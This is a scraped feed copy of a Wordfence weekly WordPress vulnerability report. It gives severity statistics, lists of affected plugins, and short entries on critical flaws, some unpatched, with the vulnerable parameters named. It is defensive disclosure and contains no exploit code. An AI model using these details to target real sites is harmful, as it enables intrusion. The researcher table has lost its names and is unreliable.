Swift Website Updates & Maintenance https://swiftupdates.ca Swift Website Updates | Wordpress Support Thu, 24 Sep 2026 18:58:31 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://swiftupdates.ca/wp-content/uploads/2022/11/Screen-Shot-2022-11-10-at-1.41.01-PM.png Swift Website Updates & Maintenance https://swiftupdates.ca 32 32 Wordfence Intelligence Weekly WordPress Vulnerability Report (September 14, 2026 to September 20, 2026) https://swiftupdates.ca/wordfence-intelligence-weekly-wordpress-vulnerability-report-september-14-2026-to-september-20-2026/ Thu, 24 Sep 2026 18:58:31 +0000 https://swiftupdates.ca/wordfence-intelligence-weekly-wordpress-vulnerability-report-september-14-2026-to-september-20-2026/ Last week, there were 358 vulnerabilities disclosed in 243 WordPress Plugins and 4 WordPress Themes that have been added to the Wordfence Intelligence Vulnerability Database, and there were 184 Vulnerability Researchers that contributed to WordPress Security last week. Review those vulnerabilities in this report now to ensure your site is not affected.

Our mission with Wordfence Intelligence is to make valuable vulnerability information easily accessible to everyone, like the WordPress community, so individuals and organizations alike can utilize that data to implement layered security, aligning with our overarching mission to secure WordPress with defense in depth strategies. That is why the Wordfence Intelligence user interface, vulnerability API, and webhook integration are all completely free to access and utilize both personally and commercially, and why we are running this weekly vulnerability report. As the world’s leading quality vulnerability database provider for WordPress, site owners can rest assured knowing Wordfence has their back.

Enterprises, Hosting Providers, and even Individuals can utilize the vulnerability Database API to receive a complete dump of our database of over 40,000 vulnerabilities and then utilize the webhook integration to stay on top of the newest vulnerabilities added in real-time, as well as any updates made to the database, all for free.

Click here to sign-up for our mailing list to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.

New Firewall Rules Deployed Last Week

The Wordfence Threat Intelligence Team reviews each vulnerability to determine impact and severity, along with assessing the likelihood of exploitation, to verify that the Wordfence Firewall provides sufficient protection.

The team rolled out enhanced protection via firewall rules for the following vulnerabilities in real-time to our Premium, Care, and Response customers last week:

Wordfence Premium, Care, and Response customers received this protection immediately, while users still running the free version of Wordfence will receive this enhanced protection after a 30 day delay.

Total Unpatched & Patched Vulnerabilities Last Week

Patch Status Number of Vulnerabilities
Patched 311
Unpatched 47

Total Vulnerabilities by CVSS Severity Last Week

Severity Rating Number of Vulnerabilities
Low Severity 4
Medium Severity 262
High Severity 74
Critical Severity 18

Total Vulnerabilities by CWE Type Last Week

Vulnerability Type by CWE Number of Vulnerabilities
Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’) 94
Missing Authorization 68
Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) 35
Authorization Bypass Through User-Controlled Key 27
Exposure of Sensitive Information to an Unauthorized Actor 26
Improper Privilege Management 19
Improper Control of Generation of Code (‘Code Injection’) 13
Unrestricted Upload of File with Dangerous Type 12
Cross-Site Request Forgery (CSRF) 8
Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) 8
Client-Side Enforcement of Server-Side Security 7
Server-Side Request Forgery (SSRF) 6
Deserialization of Untrusted Data 4
Improper Authentication 4
Incorrect Authorization 3
Protection Mechanism Failure 3
URL Redirection to Untrusted Site (‘Open Redirect’) 3
Authentication Bypass Using an Alternate Path or Channel 2
Improper Input Validation 2
Insufficient Verification of Data Authenticity 2
Uncontrolled Resource Consumption 2
Authentication Bypass by Spoofing 1
Embedded Malicious Code 1
External Control of File Name or Path 1
Guessable CAPTCHA 1
Improper Authorization 1
Improper Encoding or Escaping of Output 1
Improper Neutralization of Special Elements in Output Used by a Downstream Component (‘Injection’) 1
Improper Restriction of Rendered UI Layers or Frames 1
Improper Verification of Cryptographic Signature 1
Insufficiently Protected Credentials 1

Researchers That Contributed to WordPress Security Last Week

Researcher Name Number of Vulnerabilities

25

17

13

12

11

11

11

8

7

6

6

6

6

6

5

5

5

5

5

5

4

4

4

4

4

4

4

3

3

3

3

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

2

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1
5a50351dc3a5975487697a55ad3936d5
UKO

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

Are you a security researcher who would like to be featured in our weekly vulnerability report? You can responsibly disclose your WordPress vulnerability discoveries to us and earn a bounty on in-scope vulnerabilities through our Bug Bounty Program. Responsibly disclosing your vulnerability discoveries to us will also get your name added on the Wordfence Intelligence leaderboard along with being mentioned in our weekly vulnerability report.

WordPress Plugins with Reported Vulnerabilities Last Week

Software Name Software Slug
3D FlipBook – PDF Embedder, PDF Flipbook Viewer, Flipbook Image Gallery interactive-3d-flipbook-powered-physics-engine
Active Woot Products Tables for WooCommerce. 100% FREE  profit-products-tables-for-woocommerce
Ad Inserter – Ad Manager & AdSense Ads ad-inserter
Add User Autocomplete add-user-autocomplete
Admin Menu Editor Pro admin-menu-editor-pro
Advanced Custom Fields: Extended PRO acf-extended-pro
Advanced Popups advanced-popups
AF Companion – Starter Sites, Speed Booster & Growth Suite for Professional Publishing af-companion
AI Engine – The Chatbot, AI Framework & MCP for WordPress ai-engine
Album Cover Finder album-cover-finder
All Bootstrap Blocks all-bootstrap-blocks
All-in-One WP Migration and Backup all-in-one-wp-migration
AppMySite – WordPress & WooCommerce Mobile App Builder (No-Code Android & iOS App Maker) appmysite
Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress latepoint
Appointment Hour Booking – Booking Calendar appointment-hour-booking
Asset CleanUp: Page Speed Booster wp-asset-clean-up
Auto Upload Images auto-upload-images
Autopay platnosci-online-blue-media
aVideo avideo
BE REST Endpoints be-rest-endpoints
BerqWP – All-In-One Optimization for Core Web Vitals, Cache, CDN, Images, CSS & JavaScript searchpro
Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots bp-better-messages
BlockSpare – Gutenberg Blocks, AI Content Generator & Site Builder for News, Magazine & Blogs blockspare
Blog2Social: Social Media Auto Post & Scheduler blog2social
Bold Page Builder bold-page-builder
Booking Calendar booking
Booking for Appointments and Events Calendar – Amelia ameliabooking
Bookit — Booking & Appointment Calendar bookit
Botiga Pro botiga-pro
Bread bread
Breeze Cache breeze
Brizy – Page Builder brizy
Business Name Generator designbro-business-name-generator
Checkout Field Manager (Checkout Manager) for WooCommerce woocommerce-checkout-manager
Choose User Role at Registration for WooCommerce choose-user-role-at-registration
Clean Login clean-login
Co-Authors, Multiple Authors and Guest Authors in an Author Box with PublishPress Authors publishpress-authors
Comments Import & Export comments-import-export-woocommerce
Complianz GDPR/CCPA Cookie Consent Banner complianz-gdpr
Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe contest-gallery
Cooked – Recipe Management cooked
Create mediavine-create
CSS & JavaScript Toolbox css-javascript-toolbox
Custom Field Template custom-field-template
Custom Twitter Feeds – A Tweets Widget or X Feed Widget custom-twitter-feeds
Datalogics Ecommerce Delivery – Datalogics datalogics
design-scuole-wordpress-theme design-scuole-wordpress-theme
Dewa Kirim – WooCommerce Gojek / Gosend dewa-kirim-woocommerce-gojek
Dictionary dictionary
Divi Essentials divi-essential
Download Manager download-manager
DS Ad Rotator ds-adrotator
Easy Appointments easy-appointments
Easy Form Builder by WhiteStudio – Drag & Drop Form Builder easy-form-builder
Easy Invoice – Invoice Generator, PDF Quotes & Payments easy-invoice
EduAdmin Booking eduadmin-booking
Element Pack Addons for Elementor – Elementor Widgets, Elementor Templates, Elementor Addons bdthemes-element-pack-lite
EmbedPress – PDF Embedder, 3D PDF FlipBook, Google Reviews, YouTube Videos, Upload & Embed PDF documents embedpress
Empik for Woocommerce empik-for-woocommerce
Estatik Real Estate Plugin estatik
Event Booking Manager for WooCommerce – Sell Tickets, Event Registration, RSVP & Event Calendar mage-eventpress
Eventin – Events Calendar, Tickets, Registration, Booking & WooCommerce wp-event-solution
EWWW Image Optimizer ewww-image-optimizer
Export & Import WPBakery Page Builder vc-templates-import-export
FileBird – WordPress Media Library Folders & File Manager filebird
Filter Gallery filter-gallery
Flex Import flex-import
FluentAuth – Login Security, Two-Factor Authentication, Passkeys & Social Login fluent-security
FluentBoards – Project Management, Task Management, Goal Tracking, Kanban Board, and, Team Collaboration fluent-boards
Formidable Forms – WordPress Form Builder for Contact Forms, Calculators, Quizzes & More formidable
Forminator Forms – Contact Form, Payment Form & Custom Form Builder forminator
Foxtool All-in-One: Contact chat button, Custom login, Media optimize images foxtool
Generate PDF using Contact Form 7 generate-pdf-using-contact-form-7
GenieWords geniewords
Geo Mashup geo-mashup
Getwid – Gutenberg Blocks getwid
GiveWP – Donation Plugin and Fundraising Platform give
GoPay for WooCommerce gopay-gateway
GPTranslate – Multilingual AI Translation Agent for WordPress: Translate Your Site with AI gptranslate
Gravity Forms gravityforms
Gum Addon for Elementor gum-elementor-addon
Headless SSO Plugin for WP headless-single-sign-on
Hide My WP Ghost – Security & Firewall hide-my-wp
Hoo Companion hoo-companion
HT Mega Addons for Elementor – Elementor Widgets & Template Builder ht-mega-for-elementor
Hydra Booking — Appointment Scheduling & Booking Calendar hydra-booking
Ibtana – Ecommerce Product Addons ibtana-ecommerce-product-addons
IDB Ecommerce (wpStoreCart 5) wpstorecart
iGMS Direct Booking igms-direct-booking
Import and export users and customers import-users-from-csv-with-meta
InfiniteWP Client iwp-client
Invisible Anti-Spam & CAPTCHA — reCAPTCHA Alternative for All Forms gdpr-compliant-recaptcha-for-all-forms
Issues and Series for Newspapers, Magazines, Publishers, Writers organize-series
Jeg Kit for Elementor – Powerful Addons for Elementor, Widgets & Templates for WordPress jeg-elementor-kit
JetBlocks for Elementor jet-blocks
JetBlog jet-blog
JetElements jet-elements
JetFormBuilder — Dynamic Blocks Form Builder jetformbuilder
JetSearch jet-search
JetTabs jet-tabs
Job Postings job-postings
JWT Authentication for WP REST APIs wp-rest-api-authentication
kboard kboard
King Addons for Elementor – 100+ Elementor Widgets, 4 000+ Elementor Templates, WooCommerce Builder, Mega Menu, Popup Builder king-addons
Kirki – Freeform Page Builder, Website Builder & Customizer kirki
Kubio AI Page Builder kubio
LearnPress – WordPress LMS Plugin for Create and Sell Online Courses learnpress
LiteSpeed Cache litespeed-cache
Location Manager geodir_location_manager
Login with QR login-with-qr
Magazine Blocks – Blog Designer, Magazine & Newspaper Website Builder, Page Builder with Posts Blocks, Post Grid magazine-blocks
Mailchimp for WooCommerce mailchimp-for-woocommerce
Mapster WP Maps mapster-wp-maps
Master Addons for Elementor – Elementor Addons, Widgets, Mega Menu Builder, Popup Builder, Widget Builder & Template Kits master-addons
Master Blocks – Ultimate Blocks for Marketers ultimate-blocks-for-gutenberg
Master Slider – Responsive Touch Slider master-slider
MasterStudy LMS WordPress Plugin – for Online Courses and Education masterstudy-lms-learning-management-system
MC4WP: Mailchimp for WordPress mailchimp-for-wp
Meow Gallery meow-gallery
MgoSync – European dropshipping and suppliers megamo
Migratico Lite migratico-lite
MoreConvert Wishlist for WooCommerce smart-wishlist-for-more-convert
MotoPress Hotel Booking motopress-hotel-booking-lite
Motors – Car Dealership & Classified Listings Plugin motors-car-dealership-classified-listings
Multi Uploader for Gravity Forms gf-multi-uploader
MultiVendorX – WooCommerce Multivendor Marketplace AI Powered Solutions dc-woocommerce-multi-vendor
Newsletter newsletter-email-mailing-list
Newsletter – Send awesome emails from WordPress newsletter
Newsletters newsletters-lite
NEX-Forms – Ultimate Forms Plugin for WordPress nex-forms-express-wp-form-builder
Ni WooCommerce Sales Report – Orders, Revenue & Sales Analytics Dashboard ni-woocommerce-sales-report
Nimble Page Builder nimble-builder
Online Scheduling and Appointment Booking System – Bookly bookly-responsive-appointment-booking-tool
Optimole – Optimize Images | Convert WebP & AVIF | CDN & Lazy Load | Image Optimization optimole-wp
OTP Login & Register Woocommerce mobile-login-woocommerce
Paid Downloads paid-downloads
Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress wp-user-avatar
Paid Membership Subscriptions – Effortless Memberships, Recurring Payments & Content Restriction paid-member-subscriptions
Partial Shipment for WooCommerce wc-partial-shipment
Payment Gateway for PayPal on WooCommerce woo-paypal-gateway
Payment Gateway of Stripe for WooCommerce payment-gateway-stripe-and-woocommerce-integration
PDF Builder for WooCommerce. Create invoices,packing slips and more woo-pdf-invoice-builder
Photo Gallery by 10Web – Mobile-Friendly Image Gallery photo-gallery
Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery nextgen-gallery
Pochipp pochipp
Popup Maker – Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popup Builder popup-maker
Price Drop Alert for Woo Commerce woo-price-drop-alert
Printcart Store – Web to Print Product Designer for WooCommerce printcart-integration
Private Feed Key private-feed-key
Product Feed Manager for WooCommerce – RexFeed – Sell on 200+ Shopping Channels best-woocommerce-feed
Product Question and Answer product-question-and-answer
Property Hive propertyhive
PuppyFW puppyfw
Qi Addons For Elementor qi-addons-for-elementor
Quill Forms | Conversational Multi Step Forms, Surveys & quizzes quillforms
Real3D Flipbook – 3D FlipBook, PDF FlipBook, PDF Viewer, PDF Embedder real3d-flipbook-lite
Really Simple Security – Simple and Performant Security (formerly Really Simple SSL) really-simple-ssl
Realtyna Organic IDX plugin + WPL Real Estate real-estate-listing-realtyna-wpl
Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit woo-rede
Redux Framework redux-framework
RestroPress – Online Food Ordering System restropress
Robokassa payment gateway for Woocommerce robokassa
Rox Appointment Booking – Appointment Booking Scheduling Solution rox-appointment-booking
Royal Addons for Elementor – Addons and Templates Kit for Elementor royal-elementor-addons
RT Mega Menu – Mega Menu Builder for Elementor & Gutenberg rt-mega-menu
SAML Single Sign On – SSO Login miniorange-saml-20-single-sign-on
SAMO Forms samo-forms
Save as PDF Plugin by PDFCrowd save-as-pdf-by-pdfcrowd
Schema & Structured Data for WP & AMP schema-and-structured-data-for-wp
Search Atlas SEO – OTTO AI SEO Automation for WordPress metasync
Secure Custom Fields secure-custom-fields
SEO Booster seo-booster
Seraphinite Accelerator seraphinite-accelerator
Share-one-Drive | OneDrive & SharePoint plugin for WordPress shareonedrive-onedrive-plugin-for-wordpress
ShopEngine Elementor WooCommerce Builder Addon – All in One WooCommerce Solution with eCommerce Templates & Woo Widgets shopengine
ShopLentor – All-in-One WooCommerce Growth & Store Enhancement Plugin woolentor-addons
ShortPixel Image Optimizer – Optimize Images, Convert WebP & AVIF shortpixel-image-optimiser
Sign-up Sheets sign-up-sheets
Simple Membership simple-membership
SKT Addons for Elementor skt-addons-for-elementor
SSL Zen — SSL Certificate Installer & HTTPS Redirects ssl-zen
Store Exporter – Export WooCommerce Products, Orders, Subscriptions, Customers woocommerce-exporter
Strong Testimonials strong-testimonials
Subscriptions for WooCommerce subscriptions-for-woocommerce
The Pressengine the-pressengine
The Welcomizer the-welcomizer
TikTok tiktok-for-business
To Do List Member todo-lists-for-membership-sites
Tripzzy – Travel Engine System tripzzy
TrueBooker – Appointment Booking and Scheduler System truebooker-appointment-booking
Tutor LMS – eLearning and online course solution tutor
Tz Weekly Radio Schedule tz-wrs-core
Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin ultimate-member
Ultra Addons for Contact Form 7 ultimate-addons-for-contact-form-7
Unbounce Landing Pages unbounce
Unlimited Elements For Elementor unlimited-elements-for-elementor
UpsellWP – Upsell and Related Products Offers for WooCommerce checkout-upsell-and-order-bumps
Use-your-Drive | Google Drive plugin for WordPress use-your-drive
User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder user-registration
UsersWP – Social Login userswp-social-login
VikBooking Hotel Booking Engine & PMS vikbooking
VikRentItems Flexible Rental Management System vikrentitems
Visitor Traffic Real Time Statistics pro visitors-traffic-real-time-statistics-pro
Visualizer – Tables & Charts Manager with Built-in AI Generator visualizer
VK All in One Expansion Unit vk-all-in-one-expansion-unit
WC Vendors – WooCommerce Multivendor, WooCommerce Marketplace, Product Vendors wc-vendors
WCFM Marketplace – Multivendor Marketplace for WooCommerce wc-multivendor-marketplace
Web to Print Online Designer web-to-print-online-designer
WordLift – AI powered SEO – Schema wordlift
Wow Elements Addons for Elementor wow-elements-addons-for-elementor
WP Cloud Plugins – Box (Lets-Box) lets-box
WP Cloud Plugins – Dropbox (Out-of-the-Box) out-of-the-box
WP Component wpcomponent
WP Composer – The Easiest Page Builder page-builder-wp
WP Customer Reviews wp-customer-reviews
WP Directory Kit wpdirectorykit
WP Easy Pay – Payment and Donation Form Builder for Square wp-easy-pay
WP images upload on piclect wp-images-upload-on-piclect
WP Import Export Lite wp-import-export-lite
WP Inventory Manager wp-inventory-manager
WP Maps – Google Maps, OpenStreetMap, Mapbox, Store Locator with Search, Filters & Listings wp-google-map-plugin
WP Mega Menu wp-megamenu
WP Multi Store Locator Pro wp-multi-store-locator-pro
WP Optimizer – PageSpeed, Cache, Minify & Core Web Vitals wp-optimizer
WP Photo Album Plus wp-photo-album-plus
WP Recipe Maker wp-recipe-maker
wp shortcut link and advertisement baner wp-shortcut-link
WP-Lister Lite for eBay wp-lister-for-ebay
WP2Social Auto Publish facebook-auto-publish
WPBot – AI ChatBot for Live Support, Lead Generation, WordPress Automation, AI Services chatbot
WPComplete wpcomplete
WPGraphQL Smart Cache wpgraphql-smart-cache
WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode gdpr-cookie-consent
WPMasterToolKit (WPMTK) – All in one plugin wpmastertoolkit
wpShopGermany IT-RECHT KANZLEI wpshopgermany-it-recht-kanzlei
Xagio SEO & AEO – AI SEO for Google Rankings & AI Visibility xagio-seo
Xpro Addons — 150+ Widgets for Elementor xpro-elementor-addons
YayPricing – WooCommerce Dynamic Pricing & Discounts yaypricing
Yo yo
Yogeta WP Cloud yogeta-wp-cloud
YouTube Embed – YouTube Gallery, Vimeo Gallery – WordPress Plugin youram-youtube-embed
YS LeadGen – Drag and Drop Popup Builder, Form Builder, Exit Intent Popups & Lead Capture for WordPress ysleadgen
Zonify – Amazon Product Importer for WooCommerce zonify

WordPress Themes with Reported Vulnerabilities Last Week

Software Name Software Slug
Bridge – Creative Multipurpose WordPress Theme bridge
Consulting – Business, Finance WordPress Theme consulting
Divi Divi
VW Writer Blog vw-writer-blog

Vulnerability Details

Please note that if you run the Wordfence plugin on your WordPress site, with the scanner enabled, you should’ve already been notified if your site was affected by any of these vulnerabilities. If you’d like to receive real-time notifications whenever a vulnerability is added to the Wordfence Intelligence Vulnerability Database, check out our Slack and HTTP Webhook Integration, which is completely free to utilize.

Admin Menu Editor Pro 2.35 – 2.36 – Backdoored Software

9.8

CVSS Rating
9.8 (Critical)
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

Admin Menu Editor Pro [admin-menu-editor-pro]

Researcher(s): Unknown

More Details >

Advanced Custom Fields: Extended PRO <= 0.9.2.6 – Unauthenticated Remote Code Execution via Dynamic Render Field Type

9.8

CVSS Rating
9.8 (Critical)
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Advanced Custom Fields: Extended PRO [acf-extended-pro]

Researchers

More Details >

Choose User Role at Registration for WooCommerce <= 1.3.2 – Unauthenticated Privilege Escalation

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-85128
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Choose User Role at Registration for WooCommerce [choose-user-role-at-registration]

Researcher

More Details >

DS Ad Rotator <= 0.8 – Unauthenticated Arbitrary File Upload

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-81402
Patch Status

Unpatched
Published
Sep 14, 2026

Affected Software

DS Ad Rotator [ds-adrotator]

Researcher

More Details >

Gravity Forms <= 3.1.0.4 – Unauthenticated Arbitrary File Upload via Hidden File Upload Field

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-84434
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Gravity Forms [gravityforms]

Researcher

More Details >

JetFormBuilder <= 3.6.2 – Unauthenticated Privilege Escalation via ‘_jet_engine_booking_form_id’ Parameter

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-12793
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

JetFormBuilder — Dynamic Blocks Form Builder [jetformbuilder]

Researcher

More Details >

Login with QR <= 1.0.0 – Authentication Bypass

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-86710
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

Login with QR [login-with-qr]

Researcher

More Details >

Migratico Lite <= 2.6.8 – Unauthenticated Remote Code Execution

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-62104
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Migratico Lite [migratico-lite]

Researcher

More Details >

Multi Uploader for Gravity Forms <= 1.1.9 – Unauthenticated Arbitrary File Upload via Chunked File Upload

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-87796
Patch Status

Unpatched
Published
Sep 16, 2026

Affected Software

Multi Uploader for Gravity Forms [gf-multi-uploader]

Researcher

More Details >

Private Feed Key <= 0.1 – Authentication Bypass

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-86707
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

Private Feed Key [private-feed-key]

Researcher

More Details >

The Pressengine <= 1.0 – Authentication Bypass

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-86709
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

The Pressengine [the-pressengine]

Researcher

More Details >

TrueBooker <= 1.2.3 – Missing Authorization to Unauthenticated Arbitrary User Email Modification via ‘admin_addcustomer’ AJAX Action

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-14349
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

TrueBooker – Appointment Booking and Scheduler System [truebooker-appointment-booking]

Researcher

More Details >

Ultimate Addons for Contact Form 7 3.2.4 – 3.5.50 – Unauthenticated Arbitrary File Upload

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-84750
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Ultra Addons for Contact Form 7 [ultimate-addons-for-contact-form-7]

Researcher

More Details >

WooCommerce Online Product Designer <= 2.14.0 – Unauthenticated Arbitrary File Upload

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-82187
Patch Status

Patched
Published
Sep 19, 2026

Affected Software

Web to Print Online Designer [web-to-print-online-designer]

Researcher

More Details >

WP images upload on piclect <= 1.0 – Unauthenticated Arbitrary File Upload

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-84171
Patch Status

Unpatched
Published
Sep 14, 2026

Affected Software

WP images upload on piclect [wp-images-upload-on-piclect]

Researcher

More Details >

wpShopGermany IT-RECHT KANZLEI <= 2.3 – Unauthenticated Remote Code Execution

9.8

CVSS Rating
9.8 (Critical)
CVE-ID

CVE-2026-88795
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

wpShopGermany IT-RECHT KANZLEI [wpshopgermany-it-recht-kanzlei]

Researcher

More Details >

Forminator Forms <= 1.57.2 – Unauthenticated Arbitrary Shortcode Execution via ‘current_url’ Parameter

9.1

CVSS Rating
9.1 (Critical)
CVE-ID

CVE-2026-92229
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Forminator Forms – Contact Form, Payment Form & Custom Form Builder [forminator]

Researcher

More Details >

WP Recipe Maker <= 10.8.1 – Unauthenticated Arbitrary Shortcode Execution via Recipe Comment Content

9.1

CVSS Rating
9.1 (Critical)
CVE-ID

CVE-2026-89274
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

WP Recipe Maker [wp-recipe-maker]

Researcher

More Details >

Consulting – Business, Finance WordPress Theme <= 6.7.16 – Authenticated (Subscriber+) Privilege Escalation via AJAX

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-14805
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Consulting – Business, Finance WordPress Theme [consulting]

Researcher

More Details >

Contest Gallery <= 32.0.1 – Unauthenticated Arbitrary File Upload via ‘baseUrlForFacebook’ Parameter

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-78088
Patch Status

Patched
Published
Sep 15, 2026

Affected Software

Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe [contest-gallery]

Researcher

More Details >

Mapster WP Maps <= 1.23.0 – Authenticated (Subscriber+) Arbitrary User Meta Write via ‘acf-photo-gallery-groups’ Parameter

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-12954
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Mapster WP Maps [mapster-wp-maps]

Researcher

More Details >

Save as PDF Plugin by PDFCrowd <= 4.6.1 – Authenticated (Contributor+) Arbitrary Function Invocation / Code Injection via ‘pdf_created_callback’ Shortcode Attribute

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-92807
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Save as PDF Plugin by PDFCrowd [save-as-pdf-by-pdfcrowd]

Researcher

More Details >

ShortPixel Image Optimizer <= 6.5.5 – Authenticated (Author+) PHP Object Injection via Nested JSON Post Content

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-17086
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

ShortPixel Image Optimizer – Optimize Images, Convert WebP & AVIF [shortpixel-image-optimiser]

Researcher

More Details >

The Welcomizer <= 2.8.1 – Missing Authorization to Authenticated (Subscriber+) Remote Code Execution via ‘twiz_custom_logic’ Parameter

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-4327
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

The Welcomizer [the-welcomizer]

Researcher

More Details >

WP Cloud Plugins Use-your-Drive, Out-of-the-Box, Share-one-Drive, and Lets-Box <= 3.8.3 – Authenticated (Subscriber+) Arbitrary File Upload via Media Import

8.8

CVSS Rating
8.8 (High)
CVE-ID

CVE-2026-93031
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Share-one-Drive | OneDrive & SharePoint plugin for WordPress [shareonedrive-onedrive-plugin-for-wordpress]
Use-your-Drive | Google Drive plugin for WordPress [use-your-drive]
WP Cloud Plugins – Box (Lets-Box) [lets-box]
WP Cloud Plugins – Dropbox (Out-of-the-Box) [out-of-the-box]

Researcher

More Details >

Filter Gallery <= 1.1.4 – Missing Authorization to Authenticated (Subscriber+) Arbitrary Gallery Deletion via ‘ufg_gallery_id’ Parameter

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-89413
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Filter Gallery [filter-gallery]

Researcher

More Details >

IDB Ecommerce (wpStoreCart 5) <= 5.0.7 – Unauthenticated PHP Object Injection

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-84099
Patch Status

Unpatched
Published
Sep 14, 2026

Affected Software

IDB Ecommerce (wpStoreCart 5) [wpstorecart]

Researcher

More Details >

Master Addons for Elementor <= 3.2.2 – Missing Authorization to Authenticated (Contributor+) Arbitrary Post Modification/Deletion via ‘popup_id’ Parameter

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-85410
Patch Status

Patched
Published
Sep 17, 2026

Affected Software

Master Addons for Elementor – Elementor Addons, Widgets, Mega Menu Builder, Popup Builder, Widget Builder & Template Kits [master-addons]

Researcher

More Details >

Paid Downloads <= 3.15 – Unauthenticated Arbitrary File Upload via ‘paiddownloads_update_file’ Action

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-87935
Patch Status

Unpatched
Published
Sep 16, 2026

Affected Software

Paid Downloads [paid-downloads]

Researcher

More Details >

Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content <= 4.17.2 – Authenticated (Subscriber+) Arbitrary Shortcode Execution via ‘eup_bio’ Biography Field (Entity-Encoded Shortcode Bracket)

8.1

CVSS Rating
8.1 (High)
CVE-ID

CVE-2026-85658
Patch Status

Patched
Published
Sep 18, 2026

Affected Software

Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress [wp-user-avatar]

Researcher

More Details >

Album Cover Finder <= 0.7.0 – Unauthenticated SQL Injection

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-84047
Patch Status

Unpatched
Published
Sep 14, 2026

Affected Software

Album Cover Finder [album-cover-finder]

Researcher

More Details >

All Bootstrap Blocks 1.3.20 – 1.3.31 – Authenticated (Contributor+) Local File Inclusion

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-88994
Patch Status

Unpatched
Published
Sep 16, 2026

Affected Software

All Bootstrap Blocks [all-bootstrap-blocks]

Researcher

More Details >

Design Scuole Italia <= 2.18.1 – Unauthenticated Arbitrary File Donwload

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-87791
Patch Status

Unpatched
Published
Sep 15, 2026

Affected Software

design-scuole-wordpress-theme [design-scuole-wordpress-theme]

Researcher(s): Unknown

More Details >

Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce <= 4.1.23 – Authenticated (Subscriber+) Privilege Escalation via map_meta_cap Filter

7.5

CVSS Rating
7.5 (High)
CVE-ID

CVE-2026-75983
Patch Status

Patched
Published
Sep 14, 2026

Affected Software

Eventin – Events Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

More Details >

